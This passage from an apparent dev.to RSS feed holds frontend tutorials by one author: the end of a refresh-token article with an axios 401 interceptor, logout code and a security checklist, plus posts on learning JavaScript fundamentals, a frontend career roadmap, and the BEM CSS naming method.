          &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;newToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;refreshToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
          &lt;span class="nx"&gt;isRefreshing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="nf"&gt;onRefreshed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
          &lt;span class="nx"&gt;originalRequest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Authorization&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Bearer &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;newToken&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;originalRequest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nx"&gt;isRefreshing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="nf"&gt;clearAccessToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
          &lt;span class="c1"&gt;// window.location.href = "/login";&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;subscribeTokenRefresh&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;newToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nx"&gt;originalRequest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Authorization&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Bearer &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;newToken&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;originalRequest&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only &lt;strong&gt;one&lt;/strong&gt; &lt;code&gt;/auth/refresh&lt;/code&gt; call runs at a time.&lt;/li&gt;
&lt;li&gt;Other requests that hit 401 queue up and retry after refresh.&lt;/li&gt;
&lt;li&gt;After a successful refresh, all queued requests replay with the new token.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Secure logout&lt;/strong&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./api&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;clearAccessToken&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./authStore&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/auth/logout&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;clearAccessToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="c1"&gt;// window.location.href = "/login";&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Steps:&lt;/p&gt;

&lt;p&gt;1) Clear the Access Token in the frontend.&lt;br&gt;&lt;br&gt;
2) Ask the backend to invalidate the Refresh Token and clear/expire the cookie.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Notes for SSR frameworks (Next.js)&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Keep the Refresh Token in an HttpOnly cookie.&lt;/li&gt;
&lt;li&gt;In API Routes/Route Handlers, read and validate the Refresh Token from the cookie.&lt;/li&gt;
&lt;li&gt;For Access Tokens:

&lt;ul&gt;
&lt;li&gt;On server-render, read from cookies/headers and pass only needed data to the client.&lt;/li&gt;
&lt;li&gt;Or keep the whole refresh logic server-side and expose a secure session to the client.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Security checklist&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[x] Don’t store Refresh Tokens in localStorage/sessionStorage&lt;/li&gt;
&lt;li&gt;[x] Use &lt;strong&gt;HttpOnly + Secure&lt;/strong&gt; cookies for Refresh Tokens&lt;/li&gt;
&lt;li&gt;[x] Keep &lt;strong&gt;Access Token in memory&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;[x] Implement &lt;strong&gt;Token Rotation&lt;/strong&gt; on the backend&lt;/li&gt;
&lt;li&gt;[x] Use &lt;code&gt;SameSite=Strict&lt;/code&gt; or &lt;code&gt;Lax&lt;/code&gt; to reduce CSRF&lt;/li&gt;
&lt;li&gt;[x] Enforce &lt;strong&gt;HTTPS&lt;/strong&gt; in real environments&lt;/li&gt;
&lt;li&gt;[x] Add an &lt;strong&gt;auto-refresh layer&lt;/strong&gt; on the frontend (401 interceptor)&lt;/li&gt;
&lt;li&gt;[x] Implement &lt;strong&gt;secure logout&lt;/strong&gt; that invalidates Refresh Tokens server-side&lt;/li&gt;
&lt;li&gt;[x] Monitor logs for suspicious Refresh Token usage&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Conclusion&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Refresh tokens balance security and UX for modern frontends. Use the pattern:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Short-lived Access Token in memory&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Long-lived Refresh Token in an HttpOnly Secure Cookie&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Token Rotation&lt;/strong&gt; to limit blast radius&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Implement this flow and you’ll add a strong security layer without forcing users through constant re-logins. Happy coding! 🚀&lt;/p&gt;

</description>
      <category>frontend</category>
      <category>refreshtoken</category>
    </item>
    <item>
      <title>Why JavaScript Matters More Than Any Framework</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Fri, 10 Jul 2026 11:58:53 +0000</pubDate>
      <link>https://dev.to/naserrasouli/why-javascript-matters-more-than-any-framework-5f68</link>
      <guid>https://dev.to/naserrasouli/why-javascript-matters-more-than-any-framework-5f68</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;Frameworks are tools, not foundations&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Frameworks exist to tame complexity, but they stand on JavaScript’s shoulders. If you don’t know the language core:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You don’t understand how the framework actually works&lt;/li&gt;
&lt;li&gt;Odd bugs leave you stuck and dependent on docs&lt;/li&gt;
&lt;li&gt;API or version changes feel like a wall&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those who know JavaScript deeply &lt;em&gt;understand&lt;/em&gt; a framework, not just &lt;em&gt;use&lt;/em&gt; it.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;JavaScript is a problem-solving language&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;JavaScript isn’t just for manipulating the DOM; it teaches you how to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Think about data and state&lt;/li&gt;
&lt;li&gt;Handle unexpected situations&lt;/li&gt;
&lt;li&gt;Build stable patterns (modules, composition, async patterns)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These skills don’t expire when frameworks change.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;JavaScript outlives any framework&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Frameworks come and go; APIs change or get abandoned. JavaScript has powered the web for over two decades and keeps getting stronger. Investing in it means investing in a durable skill.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Freedom to choose any framework&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;When you grasp the language:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can move between React, Vue, Svelte, or anything new&lt;/li&gt;
&lt;li&gt;You learn new frameworks faster&lt;/li&gt;
&lt;li&gt;You’re not hostage to one tool when the market shifts&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Real debugging is impossible without JavaScript&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;When things break, docs won’t always save you. You need to know:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What scope is and how closures behave&lt;/li&gt;
&lt;li&gt;How async code is scheduled and how the event loop works&lt;/li&gt;
&lt;li&gt;How to avoid common Promise pitfalls and handle errors&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without this, debugging is guesswork.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;JavaScript bridges frontend and backend&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;It’s the only language that runs in the browser and on the server (Node.js). Understanding it helps you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Design and consume APIs with clarity&lt;/li&gt;
&lt;li&gt;Model application logic correctly and align with backend&lt;/li&gt;
&lt;li&gt;See the system end to end&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Recommended learning order&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;1) Learn JavaScript deeply (scope, closures, async/await, data structures).&lt;br&gt;
2) Practice DOM work, events, and simple state management.&lt;br&gt;
3) Move to a framework—now it’s a tool, not a wall.&lt;br&gt;
4) Learn shared patterns: modularizing code, composition, basic testing.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Takeaway&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Frameworks matter, but they’re not the foundation. JavaScript is the pillar of frontend thinking. If you learn the language core well:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You grow faster and decide more independently&lt;/li&gt;
&lt;li&gt;Debugging and optimization become logical&lt;/li&gt;
&lt;li&gt;Framework or market shifts won’t stop you&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Frameworks come and go; JavaScript stays.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>fundamentals</category>
      <category>frontend</category>
      <category>frameworks</category>
    </item>
    <item>
      <title>A Realistic Frontend Roadmap: Zero to Pro</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Wed, 08 Jul 2026 10:34:03 +0000</pubDate>
      <link>https://dev.to/naserrasouli/a-realistic-frontend-roadmap-zero-to-pro-4254</link>
      <guid>https://dev.to/naserrasouli/a-realistic-frontend-roadmap-zero-to-pro-4254</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;Why this roadmap?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Becoming a frontend developer is more than watching courses or learning one framework. The real journey mixes a deep understanding of the web, solid technical skills, hands-on practice, and deliberate growth. This guide is built from real-world experience—not just a checklist of topics.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 1: Understand the web before coding&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;How browsers work: request/response, DNS, CDN, caching, and HTTP in practice.&lt;/li&gt;
&lt;li&gt;DOM and rendering; the Critical Rendering Path and why the order of assets matters.&lt;/li&gt;
&lt;li&gt;Early security basics: CORS, CSRF, XSS—learn them before they bite you.&lt;/li&gt;
&lt;li&gt;Skip this and you end up copying instead of understanding.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 2: HTML for structure and meaning&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Semantic HTML, accessibility, SEO, and clean content structure.&lt;/li&gt;
&lt;li&gt;Forms, built-in validation, metadata, ARIA, and maintainable page layouts.&lt;/li&gt;
&lt;li&gt;Outcome: simple, correct pages with readable, predictable structure.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 3: CSS for design and UX&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Layout with Flexbox and Grid, typography, spacing, color, and design tokens.&lt;/li&gt;
&lt;li&gt;Responsive and adaptive strategies, media queries, mobile-first thinking.&lt;/li&gt;
&lt;li&gt;Mini design systems: CSS variables, lightweight utilities, repeatable patterns.&lt;/li&gt;
&lt;li&gt;Goal: interfaces that feel right across devices.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 4: JavaScript for behavior and logic&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Core language skills: types, scope, closures, async/await, modules, debugging.&lt;/li&gt;
&lt;li&gt;DOM and events, simple state handling, API calls, and common patterns.&lt;/li&gt;
&lt;li&gt;Focus on programming thinking, not just the next tool.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 5: Discipline and teamwork with Git&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Small, meaningful commits; branches; merges; rebase; pull requests.&lt;/li&gt;
&lt;li&gt;Real teamwork: code review, conflict resolution, clear commit messages.&lt;/li&gt;
&lt;li&gt;Start documenting and following standards from here onward.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 6: Frameworks and frontend architecture&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Choose intentionally (React, Vue, Svelte, or others) by understanding their trade-offs.&lt;/li&gt;
&lt;li&gt;Componentization, state management, routing, code splitting, and architectural patterns.&lt;/li&gt;
&lt;li&gt;Learn the toolchain: bundlers, linters, formatters, and CI/CD basics.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 7: Quality and optimization&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Performance: bundle size, lazy loading, browser caching, Core Web Vitals.&lt;/li&gt;
&lt;li&gt;Testing: unit, component, E2E, and a pragmatic coverage strategy.&lt;/li&gt;
&lt;li&gt;Accessibility, i18n, and addressing frontend security risks.&lt;/li&gt;
&lt;li&gt;“It works” is not enough—aim for fast, stable, maintainable code.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 8: Real experience through practical projects&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Take on projects with incomplete specs, real deadlines, and constraints.&lt;/li&gt;
&lt;li&gt;Practice documentation, issue management, and iterative planning.&lt;/li&gt;
&lt;li&gt;Learn from mistakes: write postmortems and remove recurring failure patterns.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 9: Entering the job market and presenting yourself&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Build a real portfolio (not just a todo app): demos, clean code, tests, decision notes.&lt;/li&gt;
&lt;li&gt;Keep GitHub active with consistent history, clear READMEs, and closed issues.&lt;/li&gt;
&lt;li&gt;In interviews, emphasize your technical decisions and how you collaborate.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Stage 10: Becoming a specialist and keep growing&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Think about architecture, DX, UX, maintainability, and guiding others.&lt;/li&gt;
&lt;li&gt;Mentoring, documentation, and technical decision-making at team scale become part of the job.&lt;/li&gt;
&lt;li&gt;Learning never stops—it just gets more focused and deeper.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Takeaway&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;This roadmap isn’t the fastest route—it’s the realistic, sustainable one. With patience, practice, and depth, frontend development becomes more than a job; it becomes a craft you can rely on.&lt;/p&gt;

</description>
      <category>roadmap</category>
      <category>frontend</category>
    </item>
    <item>
      <title>BEM Methodology in CSS: predictable naming for clean styles</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Wed, 08 Jul 2026 10:32:21 +0000</pubDate>
      <link>https://dev.to/naserrasouli/bem-methodology-in-css-predictable-naming-for-clean-styles-2l1o</link>
      <guid>https://dev.to/naserrasouli/bem-methodology-in-css-predictable-naming-for-clean-styles-2l1o</guid>
      <description>&lt;h2&gt;
  
  
  Why BEM?
&lt;/h2&gt;

&lt;p&gt;As frontend projects grow, CSS quickly turns fragile—poor class names cause style collisions, debugging pain, and slow iteration. BEM gives you a predictable naming pattern so components stay isolated and easy to reason about.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is BEM?
&lt;/h2&gt;

&lt;p&gt;BEM stands for &lt;strong&gt;Block, Element, Modifier&lt;/strong&gt;. Every class name reflects its role and state.&lt;/p&gt;

&lt;h3&gt;
  
  
  Core pieces
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Block:&lt;/strong&gt; A standalone UI piece with its own meaning and styles (&lt;code&gt;card&lt;/code&gt;, &lt;code&gt;navbar&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Element:&lt;/strong&gt; A part of the block that relies on it; separated with &lt;code&gt;__&lt;/code&gt; (&lt;code&gt;card__title&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Modifier:&lt;/strong&gt; A variant or state of a block/element, marked with &lt;code&gt;--&lt;/code&gt; (&lt;code&gt;card--featured&lt;/code&gt;, &lt;code&gt;card__button--active&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Naming format
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;block
block__element
block--modifier
block__element--modifier
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Practical example
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"card card--featured"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;h2&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"card__title"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Card title&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"card__description"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Short description&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"card__button card__button--active"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;View&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nc"&gt;.card&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;grid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="py"&gt;gap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;12px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;16px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="m"&gt;#e0e0e0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.card--featured&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;border-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#2563eb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;box-shadow&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt; &lt;span class="m"&gt;24px&lt;/span&gt; &lt;span class="n"&gt;rgba&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;37&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;235&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0.12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.card__title&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;font-size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1.1rem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.card__description&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#4b5563&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.card__button&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="py"&gt;justify-self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt; &lt;span class="m"&gt;14px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#111827&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#fff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.card__button--active&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#2563eb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Benefits of BEM
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Clear readability—class names show role and state&lt;/li&gt;
&lt;li&gt;Prevents style bleeding between components&lt;/li&gt;
&lt;li&gt;Scales well for large, collaborative codebases&lt;/li&gt;
